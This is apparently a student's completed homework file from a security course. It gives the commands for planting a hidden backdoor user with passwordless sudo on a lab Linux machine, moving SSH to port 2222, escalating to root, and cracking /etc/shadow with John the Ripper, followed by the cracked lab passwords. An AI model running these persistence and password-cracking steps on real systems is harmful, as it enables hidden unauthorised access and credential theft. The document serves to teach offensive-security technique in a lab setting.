## **Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:  
   * useradd sysd
2. Give your secret user a password:  
   * passwd sysd
3. Give your secret user a system UID < 1000:  
   * usermod -u 555 sysd
4. Give your secret user the same GID:  
   * groupmod -g 555 sysd
5. Give your secret user full sudo access without the need for a password:  
   * Using visudo, sysd ALL=(ALL) NOPASSWD:ALL
6. Test that sudo access works without your password:  
     
    Sudo -l

Sudo nano /etc/shadow

If I don’t have to create the user in the given order, I would prefer it this way:

groupadd sysd -g 555 && useradd sysd -u 555 -g 555 && passwd sysd

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:  
     
    sudo nano /etc/ssh/sshd\_config

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:  
   * systemctl restart sshd
2. Exit the root account:  
   * exit
3. SSH to the target machine using your sysd account and port 2222:  
   * ssh sysd@192.168.6.105 -p 2222
4. Use sudo to switch to the root user:  
   * sudo su

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:  
   * ssh sysd@192.168.6.105 -p 2222
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:  
   * sudo john /etc/shadow -wordlist:/home/student/Desktop/.pass\_list.txt

Or

* + sudo john /etc/shadow

computer (stallman)

freedom (babbage)

trustno1 (mitnik)

dragon (lovelace)

lakers (turing)

passw0rd (sysadmin)

passw0rd (sysd)

Goodluck! (student)